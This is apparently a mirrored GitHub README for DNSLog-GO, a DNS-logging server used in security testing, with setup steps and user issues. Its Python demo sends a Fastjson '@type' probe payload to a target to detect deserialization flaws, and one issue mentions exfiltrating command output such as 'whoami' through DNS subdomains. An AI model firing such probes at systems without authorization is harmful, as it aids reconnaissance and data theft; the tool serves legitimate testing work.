Code Monkey home page Code Monkey logo

dnslog-go's Introduction

简介

DNSLog-GO 是一款golang编写的监控 DNS 解析记录的工具,自带多用户WEB界面

演示截图:

avatar

安装

详细图文教程:https://mp.weixin.qq.com/s/m_UXJa0imfOi721bkBpwFg

1.获取发行版

这里 https://github.com/lanyi1998/DNSlog-GO/releases 下载最新发行版,并解压

或者docker启动

wget https://raw.githubusercontent.com/lanyi1998/DNSlog-GO/master/config.yaml
#修改你的config.yaml文件
docker run -d -p 53:53 -p 53:53/udp -p 8000:8000 -v `pwd`/config.yaml:/DNSlog-GO/config.yaml --name dnslog --privileged lanyi1998/dnslog-go:latest
#设置开机启动
docker update --restart=always dnslog

2.域名与公网 IP 准备

搭建并使用 DNSLog,你需要拥有一个域名如(a.com),还需要有一个公网 IP 地址(如:1.1.1.1)
    
修改 a.com 的 NS 记录为 

NS1.vpsip.NIP.IO
NS2.vpsip.NIP.IO

如 
ns1.1.1.1.1.nip.io
ns1.1.1.1.1.nip.io

本步骤中,需要在域名提供商提供的页面进行设置,部分域名提供商只允许修改 NS 记录为已经认证过的 NS 地址。所以需要找一个支持修改 NS 记录为自己 NS 的域名提供商。
    
注意: NS 记录修改之后部分地区需要 24-48 小时会生效

3.修改配置文件 config.ini

HTTP:
  port: 8000 //http web监听端口
  #{"token":"用户对应子域名"}
  user: { "admin": "admin" } //用户admin 对应的dnslog子域名是 admin.demo.com
  consoleDisable: false  //是否关闭web页面
Dns:
  domain: demo.com //dnslog域名

4.启动对应系统的客户端

注意服务端重启以后,如果修改了用户对应子域名,必须清空一下浏览器中的localStorage,否则会获取不到数据


API Python Demo

import requests
import random
import json


class DnsLog():
    domain = ""
    token = ""
    Webserver = ""

    def __init__(self, Webserver, token):
        self.Webserver = Webserver  # dnslog的http监听地址,格式为 ip:端口
        self.token = token  # token
        # 检测DNSLog服务器是否正常
        try:
            res = requests.post("http://" + Webserver + "/api/verifyToken", json={"token": token}).json()
            self.domain = res.Msg
        except:
            exit("DnsLog 服务器连接失败")
        if res["Msg"] == "false":
            exit("DnsLog token 验证失败")

    # 生成随机子域名
    def randomSubDomain(self, length=5):
        subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', length)) + '.' + self.domain
        return subDomain

    # 验证子域名是否存在
    def checkDomain(self, domain):
        res = requests.post("http://" + self.Webserver + "/api/verifyDns", json={"Query": domain},
                            headers={"token": self.token}).json()
        if res["Msg"] == "false":
            return False
        else:
            return True


url = "http://192.168.41.2:8090/"

dns = DnsLog("1111:8888", "admin")

subDomain = dns.randomSubDomain()

payload = {
    "b": {
        "@type": "java.net.Inet4Address",
        "val": subDomain
    }
}

requests.post(url, json=payload)

if dns.checkDomain(subDomain):
    print("存在FastJosn")

Stargazers over time

Stargazers over time

404星链计划

Stargazers over time

DNSlog-Go 现已加入 404星链计划

dnslog-go's People

Contributors

lanyi1998 avatar testwill avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

dnslog-go's Issues

严重bug

有个很严重的bug,只有在页面上复制的子域名才有结果,当要自定义域名的时候,比如说要执行命令(whoami.xxx.xxx)、外带数据的时候就用不了了

同一个dnslog域名不能使用多次么

首先ping test1.dnslog.cn,去平台上查看记录,发现存在记录
再次ping test1.dnslog.cn,去平台上查看记录,发现不存在记录。

我把test1换成test2又有记录了,这是程序本身的机制么。

服务器启动53端口时卡住

在 Ubuntu 上装了个 Server端,修改配置文件后启动主程序提示 53端口已占用,遂 systemctl stop systemd-resolved 关闭,再启动主程序卡在 DNS Listing Start...
在此期间,NS记录修改未满 24h,未生效。
所以主程序启动卡住是因为查询不到NS记录么?

使用NGINX L4反代的问题

个人部署使用过程中,因需要有日志记录的需求,顾联想到了使用NGINX L4对其反代,首先修改Dns/Core.go中的默认端口53,使其改为5353。然后编译运行,使其工作在5353端口。

接下来使用NGINX 监听53端口并反代到5353,配置如下:

stream {

    log_format proxy '$remote_addr [$time_local] '
                 '$protocol $status $bytes_sent $bytes_received '
                 '$session_time "$upstream_addr" '
                 '"$upstream_bytes_sent" "$upstream_bytes_received" "$upstream_connect_time"';

    server {
        listen 53 udp;
        proxy_pass 127.0.0.1:5353;
        proxy_timeout 1s;
        proxy_responses 1;

        access_log /****/dns.log proxy;
        error_log /****/dns.error.log error;
    }
}

重启nginx后,使用ping测试可以正常代理,但是记录处无数据显示:
image

DNSLog 建议

1、根据会话获得单独子域名ns记录
2、提供黑名单机制,屏蔽上级dns和公共dns的解析记录,很多dnslog垃圾数据来源于此
暂时这么多吧。

诚挚的邀请您加入CT stack社区

lanyi1998师傅
您好,我是 CT Stack 安全社区的运营jarcis。发现您的DNSlog-GO工具非常优质,特邀您加入我们平台。因未找到您的联系方式,所以只能采取这样的形式,非常抱歉。
CT Stack 安全社区隶属于长亭科技,守护安全工具成长,可帮助运营、推广安全工具。每月评选优质工具打造专题月,可为工具量身定制玩法,集中收集工具使用反馈,辅助工具迭代。
如您有意向,可添加社区微信客服(客服号:CTStack)

还是1.4版本用着给力

1.4版本无团队模式,无三级域(新版的三级域名会暴露密码!小概率会出现无法解析),
1.4唯一缺点就是互联网的请求太多太杂 不过没关系,使用之前清空一下即可

记录倒序

记录可否倒序?最新的放在最上面。看了下index.html,不知道哪里改

将WEB页面使用Nginx反代后,HTTP协议探测获取源IP失败

当将DNSLog平台WEB界面设置了一个域名并使用Nginx反代,在使用HTTP协议探测测试过程中,发现显示IP为127.0.0.1;取消反代,使用原WEB监听的55500端口做测试时,正常显示了原IP。测试截图如下:

image

Nginx相关路由配置如下:

location / {
		proxy_pass http://127.0.0.1:55500;
		proxy_redirect off;
		proxy_set_header Host $host;

		proxy_ssl_server_name on;
		proxy_set_header X-Real-IP $remote_addr;
		proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
		proxy_set_header X-Forwarded-Proto $scheme;
		
		proxy_intercept_errors on;
}

Nginx反代后,SSRF功能选项将由自定义域名+uri拼接了

DNSlog建议

文件index.html的136行

136     alert("复制成功");

后面增加这一行

137     document.getElementById("myDomain").innerHTML = domUrl.value;

报错

执行后报错

/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found
/lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found

系统是ubuntu18.04 amd64,建议师傅在低版本的glibc下编译,这样可以兼容一些老旧系统

DNSLOG最新版本问题

发布时间2022 年 1 月 2 日
在Windows系统启动程序时,读取不了配置文件中的domain文段,一直是默认的demo.com

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.